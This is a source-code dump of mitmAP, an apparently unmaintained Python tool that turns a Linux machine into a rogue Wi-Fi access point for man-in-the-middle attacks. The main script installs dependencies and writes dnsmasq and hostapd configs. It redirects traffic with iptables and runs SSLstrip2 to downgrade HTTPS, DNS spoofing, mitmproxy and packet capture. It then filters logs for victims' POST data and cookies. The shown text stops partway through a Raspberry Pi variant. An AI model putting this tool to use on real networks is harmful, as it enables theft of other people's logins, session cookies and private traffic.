├── LICENSE ├── README.md ├── mitmAP.py ├── mitmAP_rpi.py └── src ├── dns2proxy ├── README.md ├── dns2proxy.py ├── domains.cfg ├── nospoof.cfg ├── nospoofto.cfg ├── resolv.conf ├── spoof.cfg └── victims.cfg └── sslstrip2 ├── COPYING ├── README.md ├── build ├── lib.linux-i686-2.6 │ └── sslstrip │ │ ├── ClientRequest.py │ │ ├── CookieCleaner.py │ │ ├── DnsCache.py │ │ ├── SSLServerConnection.py │ │ ├── ServerConnection.py │ │ ├── ServerConnectionFactory.py │ │ ├── StrippingProxy.py │ │ └── URLMonitor.py ├── lib.linux-i686-2.7 │ └── sslstrip │ │ ├── ClientRequest.py │ │ ├── CookieCleaner.py │ │ ├── DnsCache.py │ │ ├── SSLServerConnection.py │ │ ├── ServerConnection.py │ │ ├── ServerConnectionFactory.py │ │ ├── StrippingProxy.py │ │ └── URLMonitor.py ├── scripts-2.6 │ └── sslstrip └── scripts-2.7 │ └── sslstrip ├── lock.ico ├── setup.py ├── sslstrip.py └── sslstrip ├── ClientRequest.py ├── ClientRequest.pyc ├── CookieCleaner.py ├── CookieCleaner.pyc ├── DnsCache.py ├── DnsCache.pyc ├── SSLServerConnection.py ├── SSLServerConnection.pyc ├── ServerConnection.py ├── ServerConnection.pyc ├── ServerConnectionFactory.py ├── ServerConnectionFactory.pyc ├── StrippingProxy.py ├── StrippingProxy.pyc ├── URLMonitor.py ├── URLMonitor.pyc └── __init__.pyc /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 David Schütz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | _ _ ___ ______ 2 | (_) | / _ \ | ___ \ 3 | _ __ ___ _| |_ _ __ ___ / /_\ \| |_/ / 4 | | '_ ` _ \| | __| '_ ` _ \| _ || __/ 5 | | | | | | | | |_| | | | | | | | || | 6 | |_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 2.2 7 | 8 | ### ⚠️ Warning! This project is no longer maintained and may not work as excepted. 9 | 10 |

A python program to create a fake AP and sniff data.

11 | 12 | # new in 2.0: 13 | * SSLstrip2 for HSTS bypass
14 | * Image capture with Driftnet
15 | * TShark for command line .pcap capture
16 | 17 | # features: 18 | * SSLstrip2
19 | * Driftnet
20 | * Tshark
21 | * Full featured access point, with configurable speed limit
22 | * mitmproxy
23 | * Wireshark
24 | * DNS Spoofing
25 | * Saving results to file
26 | 27 | # requirements: 28 | Kali Linux / Raspbian with root privileges
29 | A wireless card and an ethernet adapter / 2 wireless card
30 | Python3 (mitmAP will install the dependenices, you don't have to do it) 31 | 32 | # downloading: 33 |

"git clone https://github.com/xdavidhu/mitmAP"

34 | 35 | # starting: 36 | * Kali Linux -> "sudo python3 mitmAP.py"
37 | * Raspberry PI -> "sudo python3 mitmAP_rpi.py"
38 | 39 |

Important: At the first run, choose 'y' on installing dependencies and on creating the config files!

40 | 41 | # disclaimer: 42 | I'm not responsible for anything you do with this program, so please only use it for good and educational purposes. 43 | -------------------------------------------------------------------------------- /mitmAP.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | import os 4 | import time 5 | import subprocess 6 | 7 | header = """ 8 | _ _ ___ ______ 9 | (_) | / _ \ | ___ \\ 10 | _ __ ___ _| |_ _ __ ___ / /_\ \| |_/ / 11 | | '_ ` _ \| | __| '_ ` _ \| _ || __/ 12 | | | | | | | | |_| | | | | | | | || | 13 | |_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 2.2 14 | """ 15 | 16 | try: 17 | print(header + " by David Schütz (@xdavidhu)\n") 18 | except: 19 | print(header + " by @xdavidhu\n") 20 | 21 | sudo = "/usr/bin/sudo" 22 | tee = "/usr/bin/tee" 23 | 24 | def _run_cmd_write(cmd_args, s): 25 | # write a file using sudo 26 | p = subprocess.Popen(cmd_args, 27 | stdin=subprocess.PIPE, 28 | stdout=subprocess.DEVNULL, 29 | shell=False, universal_newlines=True) 30 | p.stdin.write(s) 31 | p.stdin.close() 32 | p.wait() 33 | 34 | def write_file(path, s): 35 | _run_cmd_write((sudo, tee, path), s) 36 | 37 | def append_file(path, s): 38 | # append to the file, don't overwrite 39 | _run_cmd_write((sudo, tee, "-a", path), s) 40 | 41 | try: 42 | script_path = os.path.dirname(os.path.realpath(__file__)) 43 | script_path = script_path + "/" 44 | os.system("sudo mkdir " + script_path + "logs > /dev/null 2>&1") 45 | os.system("sudo chmod 777 " + script_path + "logs") 46 | 47 | #UPDATING 48 | update = input("[?] Install/Update dependencies? Y/n: ") 49 | update = update.lower() 50 | if update == "y" or update == "": 51 | print("[I] Checking/Installing dependencies, please wait...") 52 | os.system("sudo apt-get update") 53 | os.system("sudo apt-get install dnsmasq -y") 54 | os.system("sudo apt-get install wireshark -y") 55 | os.system("sudo apt-get install hostapd -y") 56 | os.system("sudo apt-get install screen -y") 57 | os.system("sudo apt-get install wondershaper -y") 58 | os.system("sudo apt-get install driftnet -y") 59 | os.system("sudo apt-get install python-pip -y") 60 | os.system("sudo apt-get install python3-pip -y") 61 | os.system("sudo apt-get install python3-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg62-turbo-dev zlib1g-dev -y") 62 | os.system("sudo apt-get install libpcap-dev -y") 63 | os.system("sudo python3 -m pip install mitmproxy") 64 | os.system("sudo python -m pip install dnspython") 65 | os.system("sudo python -m pip install pcapy") 66 | os.system("sudo python -m pip install twisted") 67 | #/UPDATING 68 | 69 | ap_iface = input("[?] Please enter the name of your wireless interface (for the AP): ") 70 | net_iface = input("[?] Please enter the name of your internet connected interface: ") 71 | network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:" + ap_iface + "\n" 72 | print("[I] Backing up NetworkManager.cfg...") 73 | os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup") 74 | print("[I] Editing NetworkManager.cfg...") 75 | write_file("/etc/NetworkManager/NetworkManager.conf", network_manager_cfg ) 76 | print("[I] Restarting NetworkManager...") 77 | os.system("sudo service network-manager restart") 78 | os.system("sudo ifconfig " + ap_iface + " up") 79 | 80 | #SSLSTRIP QUESTION 81 | sslstrip_if = input("[?] Use SSLSTRIP 2.0? Y/n: ") 82 | sslstrip_if = sslstrip_if.lower() 83 | #/SSLSTRIP QUESTION 84 | 85 | #DRIFTNET QUESTION 86 | driftnet_if = input("[?] Capture unencrypted images with DRIFTNET? Y/n: ") 87 | driftnet_if = driftnet_if.lower() 88 | #/DRIFTNET QUESTION 89 | 90 | #DNSMASQ CONFIG 91 | print("[I] Backing up /etc/dnsmasq.conf...") 92 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup") 93 | print("[I] Creating new /etc/dnsmasq.conf...") 94 | if sslstrip_if == "y" or sslstrip_if == "": 95 | dnsmasq_file = "port=0\n# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1\n" 96 | else: 97 | dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=10.0.0.1\n" 98 | print("[I] Deleting old config file...") 99 | os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1") 100 | print("[I] Writing config file...") 101 | write_file("/etc/dnsmasq.conf", dnsmasq_file) 102 | #/DNSMASQ CONFIG 103 | 104 | #HOSTAPD CONFIG 105 | ssid = input("[?] Please enter the SSID for the AP: ") 106 | while True: 107 | channel = input("[?] Please enter the channel for the AP: ") 108 | if channel.isdigit(): 109 | break 110 | else: 111 | print("[!] Please enter a channel number.") 112 | hostapd_wpa = input("[?] Enable WPA2 encryption? y/N: ") 113 | hostapd_wpa = hostapd_wpa.lower() 114 | if hostapd_wpa == "y": 115 | canBreak = False 116 | while not canBreak: 117 | wpa_passphrase = input("[?] Please enter the WPA2 passphrase for the AP: ") 118 | if len(wpa_passphrase) < 8: 119 | print("[!] Please enter minimum 8 characters for the WPA2 passphrase.") 120 | else: 121 | canBreak = True 122 | hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\nwpa=2\nwpa_passphrase=" + wpa_passphrase + "\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP\nrsn_pairwise=CCMP\n" 123 | else: 124 | hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\n" 125 | print("[I] Deleting old config file...") 126 | os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1") 127 | print("[I] Writing config file...") 128 | write_file("/etc/hostapd/hostapd.conf", hostapd_file) 129 | #/HOSTAPD CONFIG 130 | 131 | #IPTABLES 132 | print("[I] Configuring AP interface...") 133 | os.system("sudo ifconfig " + ap_iface + " up 10.0.0.1 netmask 255.255.255.0") 134 | print("[I] Applying iptables rules...") 135 | os.system("sudo iptables --flush") 136 | os.system("sudo iptables --table nat --flush") 137 | os.system("sudo iptables --delete-chain") 138 | os.system("sudo iptables --table nat --delete-chain") 139 | os.system("sudo iptables --table nat --append POSTROUTING --out-interface " + net_iface + " -j MASQUERADE") 140 | os.system("sudo iptables --append FORWARD --in-interface " + ap_iface + " -j ACCEPT") 141 | #/IPTABLES 142 | 143 | #SPEED LIMIT 144 | speed_if = input("[?] Set speed limit for the clients? Y/n: ") 145 | speed_if = speed_if.lower() 146 | if speed_if == "y" or speed_if == "": 147 | while True: 148 | speed_down = input("[?] Download speed limit (in KB/s): ") 149 | if speed_down.isdigit(): 150 | break 151 | else: 152 | print("[!] Please enter a number.") 153 | while True: 154 | speed_up = input("[?] Upload speed limit (in KB/s): ") 155 | if speed_up.isdigit(): 156 | break 157 | else: 158 | print("[!] Please enter a number.") 159 | print("[I] Setting speed limit on " + ap_iface + "...") 160 | os.system("sudo wondershaper " + ap_iface + " " + speed_up + " " + speed_down) 161 | else: 162 | print("[I] Skipping...") 163 | #/SPEED LIMIT 164 | 165 | #WIRESHARK & TSHARK QUESTION 166 | wireshark_if = input("[?] Start WIRESHARK on " + ap_iface + "? Y/n: ") 167 | wireshark_if = wireshark_if.lower() 168 | tshark_if = "n" 169 | if wireshark_if != "y" and wireshark_if != "": 170 | tshark_if = input("[?] Capture packets to .pcap with TSHARK? (no gui needed) Y/n: ") 171 | tshark_if = tshark_if.lower() 172 | #/WIRESHARK & TSHARK QUESTION 173 | #SSLSTRIP MODE 174 | if sslstrip_if == "y" or sslstrip_if == "": 175 | 176 | #SSLSTRIP DNS SPOOFING 177 | ssl_dns_if = input("[?] Spoof DNS manually? y/N: ") 178 | ssl_dns_if = ssl_dns_if.lower() 179 | if ssl_dns_if == "y": 180 | while True: 181 | ssl_dns_num = input("[?] How many domains do you want to spoof?: ") 182 | if ssl_dns_num.isdigit(): 183 | break 184 | else: 185 | print("[!] Please enter a number.") 186 | print("[I] Backing up " + script_path + "src/dns2proxy/spoof.cfg...") 187 | os.system("sudo cp " + script_path + "src/dns2proxy/spoof.cfg " + script_path + "src/dns2proxy/spoof.cfg.backup") 188 | os.system("sudo cat /dev/null > "+ script_path + "src/dns2proxy/spoof.cfg") 189 | i = 0 190 | while int(ssl_dns_num) != i: 191 | ssl_dns_num_temp = i + 1 192 | ssl_dns_domain = input("[?] " + str(ssl_dns_num_temp) + ". domain to spoof: ") 193 | ssl_dns_ip = input("[?] Fake IP for domain '" + ssl_dns_domain + "': ") 194 | ssl_dns_line = ssl_dns_domain + " " + ssl_dns_ip + "\n" 195 | os.system("sudo echo -e '" + ssl_dns_line + "' >> "+ script_path + "src/dns2proxy/spoof.cfg") 196 | i = i + 1 197 | #/SSLSTRIP DNS SPOOFING 198 | 199 | print("[I] Starting DNSMASQ server...") 200 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 201 | os.system("sudo pkill dnsmasq") 202 | os.system("sudo dnsmasq") 203 | 204 | proxy_if = "n" 205 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000") 206 | os.system("sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 53") 207 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --dport 53 -j REDIRECT --to-port 53") 208 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1") 209 | 210 | 211 | print("[I] Starting AP on " + ap_iface + " in screen terminal...") 212 | os.system("sudo screen -S mitmap-sslstrip -m -d python " + script_path + "src/sslstrip2/sslstrip.py -l 9000 -w " + script_path + "logs/mitmap-sslstrip.log -a") 213 | os.system("sudo screen -S mitmap-dns2proxy -m -d sh -c 'cd " + script_path + "src/dns2proxy && python dns2proxy.py'") 214 | time.sleep(5) 215 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf") 216 | if wireshark_if == "y" or wireshark_if == "": 217 | print("[I] Starting WIRESHARK...") 218 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap") 219 | if driftnet_if == "y" or driftnet_if == "": 220 | print("[I] Starting DRIFTNET...") 221 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface) 222 | if tshark_if == "y" or tshark_if == "": 223 | print("[I] Starting TSHARK...") 224 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap") 225 | print("\nTAIL started on " + script_path + "logs/mitmap-sslstrip.log...\nWait for output... (press 'CTRL + C' 2 times to stop)\nHOST-s, POST requests and COOKIES will be shown.\n") 226 | try: 227 | time.sleep(5) 228 | except: 229 | print("") 230 | while True: 231 | try: 232 | print("[I] Restarting tail in 1 sec... (press 'CTRL + C' again to stop)") 233 | time.sleep(1) 234 | os.system("sudo tail -f " + script_path + "logs/mitmap-sslstrip.log | grep -e 'Sending Request: POST' -e 'New host:' -e 'Sending header: cookie' -e 'POST Data'") 235 | except KeyboardInterrupt: 236 | break 237 | #STARTING POINT 238 | #SSLSTRIP MODE 239 | 240 | 241 | else: 242 | #DNSMASQ DNS SPOOFING 243 | dns_if = input("[?] Spoof DNS? Y/n: ") 244 | dns_if = dns_if.lower() 245 | if dns_if == "y" or dns_if == "": 246 | while True: 247 | dns_num = input("[?] How many domains do you want to spoof?: ") 248 | if dns_num.isdigit(): 249 | break 250 | else: 251 | print("[!] Please enter a number.") 252 | print("[I] Backing up /etc/dnsmasq.conf...") 253 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup") 254 | i = 0 255 | while int(dns_num) != i: 256 | dns_num_temp = i + 1 257 | dns_domain = input("[?] " + str(dns_num_temp) + ". domain to spoof: ") 258 | dns_ip = input("[?] Fake IP for domain '" + dns_domain + "': ") 259 | dns_line = "address=/" + dns_domain + "/" + dns_ip + "\n" 260 | append_file("/etc/dnsmasq.conf", dns_line) 261 | i = i + 1 262 | else: 263 | print("[I] Skipping..") 264 | #/DNSMASQ DNS SPOOFING 265 | 266 | print("[I] Starting DNSMASQ server...") 267 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 268 | os.system("sudo pkill dnsmasq") 269 | os.system("sudo dnsmasq") 270 | 271 | #MITMPROXY MODE 272 | proxy_if = input("[?] Capture traffic? Y/n: ") 273 | proxy_if = proxy_if.lower() 274 | if proxy_if == "y" or proxy_if == "": 275 | proxy_config = input("[?] Capture HTTPS traffic too? (Need to install certificate on device) y/N: ") 276 | proxy_config = proxy_config.lower() 277 | if proxy_config == "n" or proxy_config == "": 278 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") 279 | else: 280 | print("[I] To install the certificate, go to 'http://mitm.it/' through the proxy, and choose your OS.") 281 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") 282 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") 283 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1") 284 | print("[I] Starting AP on " + ap_iface + " in screen terminal...") 285 | if wireshark_if == "y" or wireshark_if == "": 286 | print("[I] Starting WIRESHARK...") 287 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap") 288 | if driftnet_if == "y" or driftnet_if == "": 289 | print("[I] Starting DRIFTNET...") 290 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface) 291 | if tshark_if == "y" or tshark_if == "": 292 | print("[I] Starting TSHARK...") 293 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap") 294 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf") 295 | print("\nStarting MITMPROXY in 5 seconds... (press q and y to exit)\n") 296 | try: 297 | time.sleep(5) 298 | except: 299 | print("") 300 | os.system("sudo mitmproxy -T --host --follow -w " + script_path + "logs/mitmap-proxy.mitmproxy") 301 | #STARTING POINT 302 | else: 303 | print("[I] Skipping...") 304 | #/MITMPROXY MODE 305 | 306 | if wireshark_if == "y" or wireshark_if == "": 307 | print("[I] Starting WIRESHARK...") 308 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap") 309 | if driftnet_if == "y" or driftnet_if == "": 310 | print("[I] Starting DRIFTNET...") 311 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface) 312 | if tshark_if == "y" or tshark_if == "": 313 | print("[I] Starting TSHARK...") 314 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap") 315 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1") 316 | print("[I] Starting AP on " + ap_iface + "...\n") 317 | os.system("sudo hostapd /etc/hostapd/hostapd.conf") 318 | #STARTING POINT 319 | 320 | #STOPPING 321 | print("") 322 | print("[!] Stopping...") 323 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "": 324 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'") 325 | if sslstrip_if == "y" or sslstrip_if == "": 326 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'") 327 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'") 328 | if ssl_dns_if == "y": 329 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...") 330 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg") 331 | if wireshark_if == "y" or wireshark_if == "": 332 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'") 333 | if driftnet_if == "y" or driftnet_if == "": 334 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'") 335 | if tshark_if == "y" or tshark_if == "": 336 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'") 337 | print("[I] Restoring old NetworkManager.cfg") 338 | if os.path.isfile("/etc/NetworkManager/NetworkManager.conf.backup"): 339 | os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf") 340 | else: 341 | os.system("sudo rm /etc/NetworkManager/NetworkManager.conf") 342 | print("[I] Restarting NetworkManager...") 343 | os.system("sudo service network-manager restart") 344 | print("[I] Stopping DNSMASQ server...") 345 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 346 | os.system("sudo pkill dnsmasq") 347 | print("[I] Restoring old dnsmasq.cfg...") 348 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1") 349 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...") 350 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1") 351 | print("[I] Removeing speed limit from " + ap_iface + "...") 352 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1") 353 | print("[I] Flushing iptables rules...") 354 | os.system("sudo iptables --flush") 355 | os.system("sudo iptables --flush -t nat") 356 | os.system("sudo iptables --delete-chain") 357 | os.system("sudo iptables --table nat --delete-chain") 358 | print("[I] Traffic have been saved to the 'log' folder!") 359 | print("[I] mitmAP stopped.") 360 | except KeyboardInterrupt: 361 | print("\n\n[!] Stopping... (Dont worry if you get errors)") 362 | try: 363 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "": 364 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'") 365 | if sslstrip_if == "y" or sslstrip_if == "": 366 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'") 367 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'") 368 | if ssl_dns_if == "y": 369 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...") 370 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg") 371 | except: 372 | pass 373 | try: 374 | if wireshark_if == "y" or wireshark_if == "": 375 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'") 376 | except: 377 | pass 378 | try: 379 | if driftnet_if == "y" or driftnet_if == "": 380 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'") 381 | except: 382 | pass 383 | try: 384 | if tshark_if == "y" or tshark_if == "": 385 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'") 386 | except: 387 | pass 388 | print("[I] Restoring old NetworkManager.cfg") 389 | if os.path.isfile("/etc/NetworkManager/NetworkManager.conf.backup"): 390 | os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf > /dev/null 2>&1") 391 | else: 392 | os.system("sudo rm /etc/NetworkManager/NetworkManager.conf > /dev/null 2>&1") 393 | print("[I] Restarting NetworkManager...") 394 | os.system("sudo service network-manager restart") 395 | print("[I] Stopping DNSMASQ server...") 396 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 397 | os.system("sudo pkill dnsmasq") 398 | print("[I] Restoring old dnsmasq.cfg...") 399 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1") 400 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...") 401 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1") 402 | try: 403 | print("[I] Removeing speed limit from " + ap_iface + "...") 404 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1") 405 | except: 406 | pass 407 | print("[I] Flushing iptables rules...") 408 | os.system("sudo iptables --flush") 409 | os.system("sudo iptables --flush -t nat") 410 | os.system("sudo iptables --delete-chain") 411 | os.system("sudo iptables --table nat --delete-chain") 412 | print("[I] mitmAP stopped.") 413 | -------------------------------------------------------------------------------- /mitmAP_rpi.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | import os 4 | import time 5 | 6 | header = """ 7 | _ _ ___ ______ 8 | (_) | / _ \ | ___ \\ 9 | _ __ ___ _| |_ _ __ ___ / /_\ \| |_/ / 10 | | '_ ` _ \| | __| '_ ` _ \| _ || __/ 11 | | | | | | | | |_| | | | | | | | || | 12 | |_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 2.2 13 | """ 14 | 15 | try: 16 | print(header + "4RaspberryPI by David Schütz (@xdavidhu)\n") 17 | except: 18 | print(header + " 4RaspberryPI by @xdavidhu\n") 19 | 20 | try: 21 | script_path = os.path.dirname(os.path.realpath(__file__)) 22 | script_path = script_path + "/" 23 | os.system("sudo mkdir " + script_path + "logs > /dev/null 2>&1") 24 | os.system("sudo chmod 777 " + script_path + "logs") 25 | 26 | #UPDATING 27 | update = input("[?] Install/Update dependencies? Y/n: ") 28 | update = update.lower() 29 | if update == "y" or update == "": 30 | print("[I] Checking/Installing dependencies, please wait...") 31 | os.system("sudo apt-get update") 32 | os.system("sudo apt-get install dnsmasq -y") 33 | os.system("sudo apt-get install wireshark -y") 34 | os.system("sudo apt-get install hostapd -y") 35 | os.system("sudo apt-get install screen -y") 36 | os.system("sudo apt-get install wondershaper -y") 37 | os.system("sudo apt-get install driftnet -y") 38 | os.system("sudo apt-get install python-pcapy -y") 39 | os.system("sudo apt-get install python-pip -y") 40 | os.system("sudo apt-get install python3-pip -y") 41 | os.system("sudo apt-get install python3-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg62-turbo-dev zlib1g-dev -y") 42 | os.system("sudo apt-get install libpcap-dev -y") 43 | os.system("sudo python3 -m pip install mitmproxy") 44 | os.system("sudo python -m pip install dnspython") 45 | os.system("sudo python -m pip install pcapy") 46 | os.system("sudo python -m pip install twisted") 47 | #/UPDATING 48 | 49 | ap_iface = input("[?] Please enter the name of your wireless interface (for the AP): ") 50 | net_iface = input("[?] Please enter the name of your internet connected interface: ") 51 | network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:" + ap_iface 52 | # print("[I] Backing up NetworkManager.cfg...") 53 | # os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup") 54 | # print("[I] Editing NetworkManager.cfg...") 55 | # os.system("sudo echo -e '" + network_manager_cfg + "' > /etc/NetworkManager/NetworkManager.conf") 56 | # print("[I] Restarting NetworkManager...") 57 | # os.system("sudo service network-manager restart") 58 | 59 | print("[I] Killing wpa_supplicant on " + ap_iface + "...") 60 | os.system("sudo kill -s SIGQUIT $(cat /var/run/wpa_supplicant." + ap_iface + ".pid)") 61 | 62 | os.system("sudo ifconfig " + ap_iface + " up") 63 | 64 | #SSLSTRIP QUESTION 65 | sslstrip_if = input("[?] Use SSLSTRIP 2.0? Y/n: ") 66 | sslstrip_if = sslstrip_if.lower() 67 | #/SSLSTRIP QUESTION 68 | 69 | #DRIFTNET QUESTION 70 | driftnet_if = input("[?] Capture unencrypted images with DRIFTNET? (ONLY WORKS WITH GUI) y/N: ") 71 | driftnet_if = driftnet_if.lower() 72 | #/DRIFTNET QUESTION 73 | 74 | #DNSMASQ CONFIG 75 | print("[I] Backing up /etc/dnsmasq.conf...") 76 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup") 77 | print("[I] Creating new /etc/dnsmasq.conf...") 78 | if sslstrip_if == "y" or sslstrip_if == "": 79 | dnsmasq_file = "port=0\n# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1" 80 | else: 81 | dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=10.0.0.1" 82 | print("[I] Deleting old config file...") 83 | os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1") 84 | print("[I] Writing config file...") 85 | os.system("sudo echo -e '" + dnsmasq_file + "' > /etc/dnsmasq.conf") 86 | #/DNSMASQ CONFIG 87 | 88 | #HOSTAPD CONFIG 89 | ssid = input("[?] Please enter the SSID for the AP: ") 90 | while True: 91 | channel = input("[?] Please enter the channel for the AP: ") 92 | if channel.isdigit(): 93 | break 94 | else: 95 | print("[!] Please enter a channel number.") 96 | hostapd_wpa = input("[?] Enable WPA2 encryption? y/N: ") 97 | hostapd_wpa = hostapd_wpa.lower() 98 | if hostapd_wpa == "y": 99 | canBreak = False 100 | while not canBreak: 101 | wpa_passphrase = input("[?] Please enter the WPA2 passphrase for the AP: ") 102 | if len(wpa_passphrase) < 8: 103 | print("[!] Please enter minimum 8 characters for the WPA2 passphrase.") 104 | else: 105 | canBreak = True 106 | hostapd_file_wpa = "interface=" + 